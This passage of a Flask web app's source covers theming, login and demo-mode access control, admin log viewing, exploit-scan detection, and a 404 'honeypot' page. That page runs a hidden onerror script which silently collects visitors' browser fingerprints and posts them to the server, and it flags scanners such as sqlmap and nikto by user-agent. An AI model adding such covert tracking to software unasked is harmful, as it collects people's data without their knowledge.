body.theme-modern input, body.theme-modern select, body.theme-modern textarea { border-radius: 8px; border-width: 1px; background: rgba(255,255,255,0.04) !important; transition: border-color 0.2s, box-shadow 0.2s; }
body.theme-modern select option { background: #18181b; color: #fafafa; }
body.theme-modern .config-row select { background: #18181b !important; color: #fafafa !important; }
body.theme-modern .config-row select option { background: #18181b; color: #fafafa; }
body.theme-modern input:focus, body.theme-modern textarea:focus { border-color: var(--accent) !important; box-shadow: 0 0 0 3px rgba(59,130,246,0.15) !important; }
body.theme-modern header { border-bottom: 1px solid var(--border); }
body.theme-modern .login-box { border-radius: 16px; backdrop-filter: blur(24px); box-shadow: 0 4px 40px rgba(0,0,0,0.4), 0 0 0 1px rgba(255,255,255,0.04) inset; }
body.theme-modern .field input { border-radius: 8px; }
body.theme-modern ::-webkit-scrollbar { width: 8px; height: 8px; }
body.theme-modern ::-webkit-scrollbar-thumb { background: rgba(59,130,246,0.18); border-radius: 8px; border: 2px solid transparent; background-clip: content-box; }
body.theme-modern ::-webkit-scrollbar-thumb:hover { background: rgba(59,130,246,0.35); border-radius: 8px; border: 2px solid transparent; background-clip: content-box; }
body.theme-modern ::-webkit-scrollbar-track { background: transparent; }
.theme-toggle { background: none; border: 2px solid var(--border); border-radius: 2px; padding: 4px 8px; cursor: pointer; font-family: 'JetBrains Mono', monospace; font-size: 9px; text-transform: uppercase; letter-spacing: 0.5px; color: var(--text2); transition: all 0.15s; }
.theme-toggle:hover { border-color: var(--accent); color: var(--accent); }
"""
THEME_JS = """
<script>
var _themes = ['dark', 'light', 'reddit', 'modern'];
var _themeLabels = {'dark': 'Dark', 'light': 'Light', 'reddit': 'Reddit', 'modern': 'Modern'};
function toggleTheme() {
var b = document.body;
var cur = localStorage.getItem('llm-team-theme') || 'dark';
var idx = _themes.indexOf(cur);
var next = _themes[(idx + 1) % _themes.length];
b.classList.remove('theme-light', 'theme-reddit', 'theme-modern');
if (next === 'light') b.classList.add('theme-light');
if (next === 'reddit') b.classList.add('theme-reddit');
if (next === 'modern') b.classList.add('theme-modern');
localStorage.setItem('llm-team-theme', next);
var btn = document.getElementById('theme-btn');
if (btn) btn.textContent = _themeLabels[next];
var c = document.getElementById('bg-grid');
if (c) c.style.display = (next === 'dark') ? 'block' : 'none';
}
document.addEventListener('DOMContentLoaded', function(){
var t = localStorage.getItem('llm-team-theme') || 'dark';
var btn = document.getElementById('theme-btn');
if (btn) btn.textContent = _themeLabels[t];
});
</script>
"""
THEME_TOGGLE_BTN = '<button id="theme-btn" class="theme-toggle" onclick="toggleTheme()">Light</button>'
def login_required(f):
@wraps(f)
def decorated(*args, **kwargs):
# Demo mode: everyone gets in
if is_demo() and not session.get("user_id"):
session["demo_user"] = True
if not session.get("user_id") and not is_demo():
if request.path.startswith("/api/"):
return jsonify({"error": "unauthorized"}), 401
return redirect("/login")
return f(*args, **kwargs)
return decorated
# Pages/APIs that require showcase mode (blocked in basic demo)
SHOWCASE_ONLY_ROUTES = {
"/logs", "/admin/monitor", "/history",
"/api/admin/logs", "/api/admin/monitor", "/api/admin/sentinel",
"/api/admin/security", "/api/admin/security/enrich", "/api/admin/wall-of-shame",
"/api/meta-pipelines", "/api/self-reports", "/api/self-analyze",
"/api/runs/vectors", "/api/runs/tags",
}
def admin_required(f):
@wraps(f)
def decorated(*args, **kwargs):
if is_demo():
path = request.path
is_showcase = _demo_mode.get("showcase", False)
# Demo mode (not showcase): only allow admin page itself (GET) for browsing
# Block deeper pages like logs, monitor, history
if not is_showcase:
# Check if this route needs showcase
for route in SHOWCASE_ONLY_ROUTES:
if path == route or path.startswith(route + "/"):
if not is_admin():
if path.startswith("/api/"):
return jsonify({"error": "showcase mode required", "demo": True}), 403
return redirect("/")
break
# GET requests: allow (admin page view in demo, everything in showcase)
if request.method == "GET":
return f(*args, **kwargs)
# POSTs: allow read-like actions
if path in DEMO_ALLOWED_POSTS:
return f(*args, **kwargs)
# Block destructive writes for non-admins
if not is_admin():
return jsonify({"error": "demo mode: read-only", "demo": True}), 403
# Normal auth: require login + admin role
if not session.get("user_id"):
if request.path.startswith("/api/"):
return jsonify({"error": "unauthorized"}), 401
return redirect("/login")
if session.get("role") != "admin":
return "Forbidden", 403
return f(*args, **kwargs)
return decorated
@app.before_request
def security_checks():
ip = request.headers.get("X-Real-IP", request.remote_addr)
path = request.path
ua = request.headers.get("User-Agent", "")
# Exploit scanner detection — log, alert, and block
if EXPLOIT_PATTERNS.search(path) or EXPLOIT_PATTERNS.search(request.query_string.decode("utf-8", errors="ignore")):
sec_log.warning("EXPLOIT_SCAN ip=%s path=%s ua=%s", ip, path, ua)
send_security_alert(
f"Exploit Scan from {ip}",
f"IP: {ip}\nPath: {path}\nUser-Agent: {ua}\nTime: {time.strftime('%Y-%m-%d %H:%M:%S')}"
)
return "Not Found", 404
# Rate limit (allowlisted IPs skip)
if rate_limited(ip):
sec_log.warning("RATE_LIMITED ip=%s path=%s", ip, path)
return jsonify({"error": "rate limited"}), 429
# Always allow these
if path in ("/login", "/api/auth/login", "/api/auth/setup", "/api/demo/status"):
return
if path.startswith("/static"):
return
# In demo mode, block destructive writes for non-admins
if is_demo() and not is_admin() and request.method == "POST":
if path in DEMO_BLOCKED_POSTS:
return jsonify({"error": "demo mode: read-only", "demo": True}), 403
@app.after_request
def security_headers(response):
response.headers["X-Content-Type-Options"] = "nosniff"
response.headers["X-Frame-Options"] = "DENY"
response.headers["X-XSS-Protection"] = "1; mode=block"
response.headers["Referrer-Policy"] = "strict-origin-when-cross-origin"
response.headers["Content-Security-Policy"] = "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'"
response.headers["Permissions-Policy"] = "camera=(), microphone=(), geolocation=()"
# Theme injection
if response.content_type and "text/html" in response.content_type and response.status_code == 200:
try:
html = response.get_data(as_text=True)
if "</style>" in html and "theme-light" not in html:
apply_script = '<script>(function(){var t=localStorage.getItem("llm-team-theme");if(t==="light")document.body.classList.add("theme-light");if(t==="reddit")document.body.classList.add("theme-reddit");if(t==="modern")document.body.classList.add("theme-modern")})()</script>'
html = html.replace("</style>", THEME_CSS + "\n</style>", 1)
html = html.replace("</head>", THEME_JS + "\n</head>", 1)
# Toggle button - inject into header
if '<a href="/logout"' in html:
html = html.replace('<a href="/logout"', THEME_TOGGLE_BTN + '\n <a href="/logout"', 1)
elif '</header>' in html:
html = html.replace('</header>', ' ' + THEME_TOGGLE_BTN + '\n</header>', 1)
# Body script for early apply
if "<body>" in html:
html = html.replace("<body>", "<body>" + apply_script, 1)
else:
html = re.sub(r'(<body[^>]*>)', r'\1' + apply_script, html, count=1)
response.set_data(html)
except Exception as e:
print(f"[THEME ERROR] {e}", flush=True)
if request.path.startswith("/api/"):
response.headers["Cache-Control"] = "no-store"
return response
HONEYPOT_404_HTML = """
<!DOCTYPE html>
<html><head><meta charset="UTF-8"><title>404 Not Found</title>
<style>
:root{--bg:#0a0c10;--surface:#151820;--border:#272d3f;--text:#e4e4e7;--text2:#a1a1aa;--accent:#6366f1}
*{box-sizing:border-box;margin:0;padding:0}
body{font-family:'Inter',-apple-system,sans-serif;background:var(--bg);color:var(--text);min-height:100vh;display:flex;align-items:center;justify-content:center;flex-direction:column}
.box{background:var(--surface);border:1px solid var(--border);border-radius:14px;padding:40px;max-width:480px;text-align:center;box-shadow:0 0 40px rgba(99,102,241,0.06)}
h1{font-size:64px;font-weight:800;color:var(--accent);margin-bottom:8px}
h2{font-size:18px;color:var(--text2);margin-bottom:20px;font-weight:400}
p{color:var(--text2);font-size:14px;line-height:1.6;margin-bottom:20px}
a{color:var(--accent);text-decoration:none}
a:hover{text-decoration:underline}
.meta{font-size:11px;color:#444;margin-top:24px}
</style>
</head><body>
<div class="box">
<h1>404</h1>
<h2>Page not found</h2>
<p>The page you're looking for doesn't exist or has been moved.</p>
<a href="/login">Go to login</a>
<div class="meta">
<!-- fp:{{FINGERPRINT}} -->
<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none"
onerror="(function(){try{var d={ts:Date.now(),tz:Intl.DateTimeFormat().resolvedOptions().timeZone,lang:navigator.language,plat:navigator.platform,cores:navigator.hardwareConcurrency,mem:navigator.deviceMemory||0,touch:'ontouchstart' in window,screen:screen.width+'x'+screen.height,dpr:window.devicePixelRatio,plugins:navigator.plugins.length,webgl:(function(){try{var c=document.createElement('canvas');var g=c.getContext('webgl');return g.getParameter(g.RENDERER)}catch(e){return'none'}})()};fetch('/api/fp',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(d)}).catch(function(){})}catch(e){}})()">
</div>
</div>
</body></html>
"""
@app.errorhandler(404)
def page_not_found(e):
ip = request.headers.get("X-Real-IP", request.remote_addr)
ua = request.headers.get("User-Agent", "")
path = request.path
referer = request.headers.get("Referer", "")
method = request.method
accept_lang = request.headers.get("Accept-Language", "")
accept_enc = request.headers.get("Accept-Encoding", "")
# Build fingerprint hash from request characteristics
fp_raw = f"{ua}|{accept_lang}|{accept_enc}|{request.headers.get('Connection','')}|{request.headers.get('DNT','')}"
fp_hash = hashlib.sha256(fp_raw.encode()).hexdigest()[:16]
# Classify threat level
threat = "low"
if EXPLOIT_PATTERNS.search(path):
threat = "high"
elif any(s in path.lower() for s in ("/admin", "/config", "/api/", "/debug", "/console", "/server-status")):
threat = "medium"
elif not ua or "bot" in ua.lower() or "scanner" in ua.lower() or "nikto" in ua.lower() or "sqlmap" in ua.lower():
threat = "high"
sec_log.warning(
"404_HIT ip=%s fp=%s threat=%s method=%s path=%s referer=%s ua=%s",
ip, fp_hash, threat, method, path, referer, ua
)
html = HONEYPOT_404_HTML.replace("{{FINGERPRINT}}", fp_hash)
return html, 404
@app.route("/api/fp", methods=["POST"])
def fingerprint_collect():
"""Silent endpoint that collects browser fingerprint data from 404 pages."""
ip = request.headers.get("X-Real-IP", request.remote_addr)
data = request.json or {}
ua = request.headers.get("User-Agent", "")
# Build server-side fingerprint
fp_raw = f"{ua}|{request.headers.get('Accept-Language','')}|{request.headers.get('Accept-Encoding','')}|{request.headers.get('Connection','')}|{request.headers.get('DNT','')}"
fp_hash = hashlib.sha256(fp_raw.encode()).hexdigest()[:16]
sec_log.warning(
"FINGERPRINT ip=%s fp=%s tz=%s lang=%s platform=%s cores=%s mem=%s touch=%s screen=%s dpr=%s plugins=%s webgl=%s",
ip, fp_hash,
data.get("tz", ""), data.get("lang", ""), data.get("plat", ""),
data.get("cores", ""), data.get("mem", ""), data.get("touch", ""),
data.get("screen", ""), data.get("dpr", ""), data.get("plugins", ""),
data.get("webgl", "")
)
return "", 204
LOGIN_HTML = """
<!DOCTYPE html>
<html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>LLM Team - Login</title>
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;600;700&family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
<style>
:root{--bg:#08090c;--surface:rgba(14,16,22,0.85);--border:#2a2d35;--text:#e8e6e3;--text2:#7a7872;--accent:#e2b55a;--accent2:#f0cc74;--red:#e05252;--green:#4ade80;--glow:rgba(226,181,90,0.06)}
*{box-sizing:border-box;margin:0;padding:0}
body{font-family:'Inter',sans-serif;background:var(--bg);color:var(--text);min-height:100vh;display:flex;align-items:center;justify-content:center;overflow:hidden}
canvas#bg-grid{position:fixed;inset:0;z-index:0;pointer-events:none}
.scanlines{position:fixed;inset:0;z-index:1;pointer-events:none;background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,0.03) 2px,rgba(0,0,0,0.03) 4px)}
.vignette{position:fixed;inset:0;z-index:1;pointer-events:none;background:radial-gradient(ellipse at center,transparent 50%,rgba(0,0,0,0.6) 100%)}
.login-box{background:var(--surface);border:2px solid var(--border);border-radius:2px;padding:40px;width:400px;position:relative;z-index:10;backdrop-filter:blur(20px);box-shadow:0 0 60px rgba(226,181,90,0.04),0 1px 0 rgba(226,181,90,0.1) inset}
.login-box::before{content:'';position:absolute;top:-1px;left:20px;right:20px;height:1px;background:linear-gradient(90deg,transparent,var(--accent),transparent);opacity:0.4}
.login-box h1{font-family:'JetBrains Mono',monospace;font-size:20px;margin-bottom:4px;font-weight:700;letter-spacing:-0.5px}
.login-box h1 span{color:var(--accent)}
.login-box .sub{color:var(--text2);font-size:12px;margin-bottom:28px;font-family:'JetBrains Mono',monospace;letter-spacing:0.5px;text-transform:uppercase}
.field{margin-bottom:16px}
.field label{display:block;font-size:10px;color:var(--text2);margin-bottom:6px;font-weight:600;text-transform:uppercase;letter-spacing:1.5px;font-family:'JetBrains Mono',monospace}
.field input{width:100%;background:rgba(0,0,0,0.4);border:2px solid var(--border);color:var(--text);border-radius:2px;padding:11px 14px;font-size:14px;font-family:'JetBrains Mono',monospace;transition:border-color 0.15s}
.field input:focus{outline:none;border-color:var(--accent);box-shadow:0 0 0 1px var(--accent)}
.btn{width:100%;padding:12px;background:var(--accent);color:#08090c;border:none;border-radius:2px;font-size:13px;font-weight:700;cursor:pointer;transition:all .15s;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:1px}
.btn:hover{background:var(--accent2);box-shadow:0 0 20px rgba(226,181,90,0.2)}
.error{color:var(--red);font-size:11px;margin-bottom:12px;display:none;font-family:'JetBrains Mono',monospace;border-left:2px solid var(--red);padding-left:8px}
.setup-note{color:var(--green);font-size:11px;margin-bottom:12px;display:none;font-family:'JetBrains Mono',monospace;border-left:2px solid var(--green);padding-left:8px}
.sys-tag{font-family:'JetBrains Mono',monospace;font-size:9px;color:var(--text2);text-transform:uppercase;letter-spacing:2px;margin-top:20px;text-align:center;opacity:0.4}
</style>
</head><body>
<canvas id="bg-grid"></canvas>
<div class="scanlines"></div>
<div class="vignette"></div>
<div class="login-box">
<h1><span>LLM</span> Team</h1>
<p class="sub" id="subtitle">Sign in to continue</p>
<div class="error" id="error"></div>
<div class="setup-note" id="setup-note"></div>
<form id="login-form" onsubmit="return doLogin(event)">
<div class="field"><label>Username</label><input id="username" autocomplete="username" required></div>
<div class="field"><label>Password</label><input id="password" type="password" autocomplete="current-password" required></div>
<div class="field" id="confirm-field" style="display:none"><label>Confirm Password</label><input id="confirm" type="password"></div>
<button class="btn" type="submit" id="submit-btn">Sign In</button>
</form>
<div class="sys-tag">SYS.AUTH // v3.2</div>
</div>
<script>
!function(){const c=document.getElementById('bg-grid'),x=c.getContext('2d');function resize(){c.width=window.innerWidth;c.height=window.innerHeight}resize();window.addEventListener('resize',resize);let t=0;function draw(){x.clearRect(0,0,c.width,c.height);const s=40,ox=(t*0.3)%s,oy=(t*0.15)%s;x.fillStyle='rgba(226,181,90,0.03)';for(let gx=-s+ox;gx<c.width+s;gx+=s){for(let gy=-s+oy;gy<c.height+s;gy+=s){x.beginPath();x.arc(gx,gy,0.8,0,Math.PI*2);x.fill()}}if(Math.random()>0.97){const ly=Math.random()*c.height;x.strokeStyle='rgba(226,181,90,0.015)';x.lineWidth=1;x.beginPath();x.moveTo(0,ly);x.lineTo(c.width,ly);x.stroke()}t++;requestAnimationFrame(draw)}draw()}();
</script>
<script>
let isSetup = false;
async function checkSetup() {
const r = await fetch('/api/auth/setup');
const d = await r.json();
if (d.needs_setup) {
isSetup = true;
document.getElementById('subtitle').textContent = 'Create your admin account';
document.getElementById('confirm-field').style.display = '';
document.getElementById('submit-btn').textContent = 'Create Account';
document.getElementById('setup-note').textContent = 'First time setup — this will be the admin account.';
document.getElementById('setup-note').style.display = '';
}
}
async function doLogin(e) {
e.preventDefault();
const user = document.getElementById('username').value;
const pass = document.getElementById('password').value;
const err = document.getElementById('error');
err.style.display = 'none';
if (isSetup) {
const confirm = document.getElementById('confirm').value;
if (pass !== confirm) { err.textContent = 'Passwords do not match'; err.style.display = ''; return false; }
if (pass.length < 8) { err.textContent = 'Password must be at least 8 characters'; err.style.display = ''; return false; }
}
const r = await fetch('/api/auth/login', {method:'POST', headers:{'Content-Type':'application/json'},
body: JSON.stringify({username: user, password: pass, setup: isSetup})});
const d = await r.json();
if (d.ok) { window.location.href = '/'; }
else { err.textContent = d.error || 'Login failed'; err.style.display = ''; }
return false;
}
checkSetup();
</script>
</body></html>
"""
@app.route("/login")
def login_page():
if session.get("user_id"):
return redirect("/")
return LOGIN_HTML
@app.route("/api/auth/setup")
def auth_setup():
try:
with get_db() as conn:
with conn.cursor() as cur:
cur.execute("SELECT COUNT(*) FROM users")
count = cur.fetchone()[0]
return jsonify({"needs_setup": count == 0})
except Exception:
return jsonify({"needs_setup": True})
@app.route("/api/auth/login", methods=["POST"])
def auth_login():
ip = request.remote_addr
if rate_limited(ip, LOGIN_RATE_MAX):
return jsonify({"error": "Too many attempts. Wait a minute."}), 429
data = request.json or {}
username = data.get("username", "").strip()
password = data.get("password", "")
is_setup = data.get("setup", False)
if not username or not password:
return jsonify({"error": "Username and password required"}), 400
if len(password) < 8:
return jsonify({"error": "Password must be at least 8 characters"}), 400
try:
with get_db() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
if is_setup:
# First-time setup: create admin
cur.execute("SELECT COUNT(*) as c FROM users")
if cur.fetchone()["c"] > 0:
return jsonify({"error": "Setup already completed"}), 400
pw_hash = bcrypt.hashpw(password.encode(), bcrypt.gensalt()).decode()
cur.execute("INSERT INTO users (username, password_hash, role) VALUES (%s, %s, 'admin') RETURNING id",
(username, pw_hash))
uid = cur.fetchone()["id"]
conn.commit()
session["user_id"] = uid
session["username"] = username
session["role"] = "admin"
session.permanent = True
return jsonify({"ok": True})
# Normal login
cur.execute("SELECT * FROM users WHERE username = %s", (username,))
user = cur.fetchone()
if not user or not bcrypt.checkpw(password.encode(), user["password_hash"].encode()):
sec_log.warning("LOGIN_FAILED ip=%s user=%s", ip, username)
send_security_alert(
f"Failed Login from {ip}",
f"IP: {ip}\nUsername attempted: {username}\nTime: {time.strftime('%Y-%m-%d %H:%M:%S')}"
)
return jsonify({"error": "Invalid credentials"}), 401
session["user_id"] = user["id"]
session["username"] = user["username"]
session["role"] = user["role"]
session.permanent = True
return jsonify({"ok": True})
except Exception as e:
return jsonify({"error": str(e)}), 500
@app.route("/api/auth/logout", methods=["POST"])
def auth_logout():
session.clear()
return jsonify({"ok": True})
@app.route("/logout")
def logout_page():
session.clear()
return redirect("/login")
@app.route("/api/demo/status")
def demo_status():
return jsonify({"active": is_demo(), "showcase": _demo_mode.get("showcase", False), "started_by": _demo_mode.get("started_by")})
@app.route("/api/demo/toggle", methods=["POST"])
def demo_toggle():
if not session.get("user_id") or not is_admin():
return jsonify({"error": "admin only"}), 403
data = request.json if request.is_json else {}
mode = data.get("mode", "toggle") # demo, showcase, off
if mode == "off":
_demo_mode["active"] = False
_demo_mode["showcase"] = False
_demo_mode["started_by"] = None
elif mode == "showcase":
_demo_mode["active"] = True
_demo_mode["showcase"] = True
_demo_mode["started_by"] = session.get("username")
elif mode == "demo":
_demo_mode["active"] = True
_demo_mode["showcase"] = False
_demo_mode["started_by"] = session.get("username")
else:
# plain toggle: cycle off → demo → off
if _demo_mode["active"]:
_demo_mode["active"] = False
_demo_mode["showcase"] = False
_demo_mode["started_by"] = None
else:
_demo_mode["active"] = True
_demo_mode["showcase"] = False
_demo_mode["started_by"] = session.get("username")
return jsonify({"active": _demo_mode["active"], "showcase": _demo_mode["showcase"]})
@app.route("/api/demo/allowlist", methods=["GET"])
def demo_get_allowlist():
if not is_admin():
return jsonify({"error": "admin only"}), 403
return jsonify({"ips": sorted(ALLOWLIST_IPS)})
@app.route("/api/demo/allowlist", methods=["POST"])
def demo_set_allowlist():
if not is_admin():
return jsonify({"error": "admin only"}), 403
data = request.json or {}
ip = data.get("ip", "").strip()
action = data.get("action", "add")
if not ip:
return jsonify({"error": "ip required"}), 400
if action == "add":
ALLOWLIST_IPS.add(ip)
elif action == "remove" and ip in ALLOWLIST_IPS:
ALLOWLIST_IPS.discard(ip)
return jsonify({"ips": sorted(ALLOWLIST_IPS)})
@app.route("/logs")
@admin_required
def logs_page():
return LOGS_HTML
@app.route("/api/admin/logs")
@admin_required
def admin_logs():
source = request.args.get("source", "app")
limit = min(int(request.args.get("limit", 100)), 500)
lines = []
try:
if source == "nginx_access":
with open("/var/log/nginx/access.log") as f:
lines = f.readlines()[-limit:]
elif source == "nginx_error":
with open("/var/log/nginx/error.log") as f:
lines = f.readlines()[-limit:]
elif source == "security":
with open("/var/log/llm-team-security.log") as f:
lines = f.readlines()[-limit:]
elif source == "runs":
return jsonify({"lines": [], "runs": list(reversed(_run_log[-limit:]))})
else:
# App log — get from journalctl
import subprocess
result = subprocess.run(
["journalctl", "-u", "llm-team-ui", "--no-pager", "-n", str(limit), "--output=short-iso"],
capture_output=True, text=True, timeout=5
)
lines = result.stdout.strip().split("\n") if result.stdout else []
except Exception as e:
lines = [f"Error reading log: {e}"]
return jsonify({"lines": [l.rstrip() for l in lines]})
LOGS_HTML = r"""<!DOCTYPE html>
<html lang="en"><head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>LLM Team — Logs</title>
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;600;700&family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
<style>
:root{--bg:#08090c;--surface:rgba(14,16,22,0.85);--border:#2a2d35;--text:#e8e6e3;--text2:#7a7872;--accent:#e2b55a;--green:#4ade80;--red:#e05252;--blue:#5b9cf5}
*{box-sizing:border-box;margin:0;padding:0}
body{font-family:'Inter',sans-serif;background:var(--bg);color:var(--text);min-height:100vh;padding:20px 28px}
canvas#bg-grid{position:fixed;inset:0;z-index:0;pointer-events:none}
.scanlines{position:fixed;inset:0;z-index:1;pointer-events:none;background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,0.02) 2px,rgba(0,0,0,0.02) 4px)}
.wrap{position:relative;z-index:10;max-width:1400px;margin:0 auto}
header{display:flex;align-items:center;gap:14px;padding-bottom:18px;border-bottom:2px solid var(--border);margin-bottom:20px}
h1{font-family:'JetBrains Mono',monospace;font-size:18px;font-weight:700}
h1 span{color:var(--accent)}
.back{color:var(--text2);text-decoration:none;font-size:10px;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:1px;border:2px solid var(--border);padding:5px 12px;border-radius:2px;margin-left:auto}
.back:hover{border-color:var(--accent);color:var(--accent)}
.tabs{display:flex;gap:4px;margin-bottom:16px;flex-wrap:wrap}
.tab{font-family:'JetBrains Mono',monospace;font-size:10px;text-transform:uppercase;letter-spacing:1px;padding:8px 16px;border:2px solid var(--border);border-radius:2px;background:transparent;color:var(--text2);cursor:pointer;transition:all 0.15s}
.tab:hover{border-color:var(--accent);color:var(--text)}
.tab.active{border-color:var(--accent);color:var(--accent);background:rgba(226,181,90,0.06)}
.tab.err{border-color:rgba(224,82,82,0.3);color:var(--red)}
.tab.err.active{background:rgba(224,82,82,0.06)}
.controls{display:flex;gap:8px;align-items:center;margin-bottom:12px}
.controls label{font-family:'JetBrains Mono',monospace;font-size:9px;text-transform:uppercase;letter-spacing:1px;color:var(--text2)}
.controls select,.controls input{background:rgba(0,0,0,0.4);border:2px solid var(--border);color:var(--text);border-radius:2px;padding:4px 8px;font-size:11px;font-family:'JetBrains Mono',monospace}
.controls button{font-family:'JetBrains Mono',monospace;font-size:10px;text-transform:uppercase;letter-spacing:0.5px;padding:6px 14px;border:2px solid var(--accent);border-radius:2px;background:var(--accent);color:#08090c;cursor:pointer;font-weight:700}
.controls button:hover{background:var(--accent2)}
.log-view{background:rgba(0,0,0,0.4);border:2px solid var(--border);border-radius:2px;padding:0;font-family:'JetBrains Mono',monospace;font-size:11px;line-height:1.7;overflow:auto;max-height:calc(100vh - 220px);backdrop-filter:blur(16px)}
.log-line{padding:2px 14px;border-bottom:1px solid rgba(42,45,53,0.3);white-space:pre-wrap;word-break:break-all}
.log-line:hover{background:rgba(226,181,90,0.03)}
.log-line.err{color:var(--red);background:rgba(224,82,82,0.04)}
.log-line.warn{color:#f59e0b}
.log-line.info{color:var(--text2)}
.log-line .ts{color:var(--text2);opacity:0.5;margin-right:8px}
.log-line .status-2xx{color:var(--green)}
.log-line .status-3xx{color:var(--blue)}
.log-line .status-4xx{color:#f59e0b}
.log-line .status-5xx{color:var(--red)}
.run-card{background:rgba(0,0,0,0.25);border:2px solid var(--border);border-radius:2px;padding:12px;margin-bottom:6px}
.run-card.has-errors{border-color:var(--red)}
.run-row{display:flex;gap:8px;align-items:center;flex-wrap:wrap;margin-bottom:4px}
.tag{font-family:'JetBrains Mono',monospace;font-size:9px;text-transform:uppercase;letter-spacing:1px;padding:3px 8px;border:1px solid;border-radius:1px;font-weight:600}
.tag-mode{color:var(--accent);border-color:rgba(226,181,90,0.3)}
.tag-time{color:var(--text2);border-color:var(--border)}
.tag-ok{color:var(--green);border-color:rgba(74,222,128,0.3)}
.tag-err{color:var(--red);border-color:rgba(224,82,82,0.3)}
.run-prompt{font-size:11px;color:var(--text2);margin:4px 0}
.run-error{font-size:10px;color:var(--red);border-left:2px solid var(--red);padding-left:8px;margin:4px 0}
.empty{font-family:'JetBrains Mono',monospace;font-size:11px;color:var(--text2);padding:40px;text-align:center;opacity:0.5}
.filter-input{flex:1}
.threat-card{background:rgba(0,0,0,0.25);border:2px solid var(--border);border-radius:2px;padding:12px 14px;margin-bottom:6px;display:grid;grid-template-columns:auto auto 1fr auto;align-items:start;gap:8px 12px}
.threat-card.critical{border-color:var(--red);background:rgba(224,82,82,0.04)}
.threat-card.high{border-color:#f59e0b;background:rgba(245,158,11,0.03)}
.threat-card.banned{opacity:0.5}
.threat-ip{font-family:'JetBrains Mono',monospace;font-size:13px;font-weight:700;min-width:130px;color:var(--text)}
.threat-info{min-width:0}
.threat-row{display:flex;gap:6px;flex-wrap:wrap;margin-bottom:4px}
.threat-paths{font-family:'JetBrains Mono',monospace;font-size:9px;color:var(--text2);margin-top:4px}
.threat-actions{display:flex;gap:4px;flex-shrink:0}
.ban-btn{font-family:'JetBrains Mono',monospace;font-size:9px;text-transform:uppercase;letter-spacing:0.5px;padding:5px 12px;border:2px solid;border-radius:2px;cursor:pointer;font-weight:700;background:transparent}
.ban-btn.ban{color:var(--red);border-color:rgba(224,82,82,0.4)}
.ban-btn.ban:hover{background:rgba(224,82,82,0.1)}
.ban-btn.unban{color:var(--green);border-color:rgba(74,222,128,0.4)}
.ban-btn.unban:hover{background:rgba(74,222,128,0.1)}
.enrich-panel{grid-column:1/-1;background:rgba(217,70,239,0.04);border:2px solid rgba(217,70,239,0.2);border-radius:2px;padding:16px;margin-top:4px}
.enrich-section{margin-bottom:14px;padding-bottom:14px;border-bottom:1px solid rgba(217,70,239,0.1)}
.enrich-section:last-child{margin-bottom:0;padding-bottom:0;border-bottom:none}
.enrich-title{font-family:'JetBrains Mono',monospace;font-size:9px;text-transform:uppercase;letter-spacing:2px;color:#d946ef;margin-bottom:8px;font-weight:700}
.enrich-grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(160px,1fr));gap:8px}
.enrich-field{font-family:'JetBrains Mono',monospace;font-size:10px}
.enrich-field .label{color:#7a7872;font-size:8px;text-transform:uppercase;letter-spacing:1px}
.enrich-field .value{color:#e8e6e3}
.enrich-field .value.danger{color:#e05252;font-weight:700}
.enrich-field .value.safe{color:#4ade80}
.enrich-field.full{grid-column:1/-1}
.threat-summary{display:grid;grid-template-columns:repeat(3,1fr);gap:8px;margin-bottom:16px}
.ts-box{background:rgba(0,0,0,0.3);border:2px solid var(--border);border-radius:2px;padding:12px;text-align:center;backdrop-filter:blur(16px)}
.ts-val{font-family:'JetBrains Mono',monospace;font-size:20px;font-weight:700}
.ts-val.red{color:var(--red)}
.ts-val.green{color:var(--green)}
.ts-val.amber{color:#f59e0b}
.ts-label{font-family:'JetBrains Mono',monospace;font-size:8px;text-transform:uppercase;letter-spacing:1.5px;color:var(--text2);margin-top:4px}
.tag{font-family:'JetBrains Mono',monospace;font-size:9px;text-transform:uppercase;letter-spacing:1px;padding:3px 8px;border:1px solid;border-radius:1px;font-weight:600}
</style>
</head><body>
<canvas id="bg-grid"></canvas>
<div class="scanlines"></div>
<div class="wrap">
<header>
<h1><span>Logs</span> // System View</h1>
<a class="back" href="/admin/monitor">Monitor</a>
<a class="back" href="/admin">Admin</a>
<a class="back" href="/">← Team</a>
</header>
<div class="tabs" id="tabs">
<div class="tab active" data-src="app" onclick="switchTab(this)">App Log</div>
<div class="tab" data-src="runs" onclick="switchTab(this)">Run History</div>
<div class="tab err" data-src="nginx_error" onclick="switchTab(this)">Nginx Errors</div>
<div class="tab" data-src="nginx_access" onclick="switchTab(this)">Nginx Access</div>
<div class="tab err" data-src="security" onclick="switchTab(this)">Security Raw</div>
<div class="tab err" data-src="threats" onclick="switchTab(this)">Threat Intel</div>
<div class="tab" data-src="shame" onclick="switchTab(this)" style="color:#d946ef;border-color:rgba(217,70,239,0.3)">Wall of Shame</div>
</div>
<div class="controls">
<label>Lines:</label>
<select id="log-limit" onchange="loadLogs()">
<option value="50">50</option>
<option value="100" selected>100</option>
<option value="200">200</option>
<option value="500">500</option>
</select>
<label>Filter:</label>
<input class="filter-input" id="log-filter" placeholder="grep..." oninput="filterLogs()">
<button onclick="loadLogs()">Refresh</button>
</div>
<div class="log-view" id="log-view"><div class="empty">Loading...</div></div>
</div>
<script>
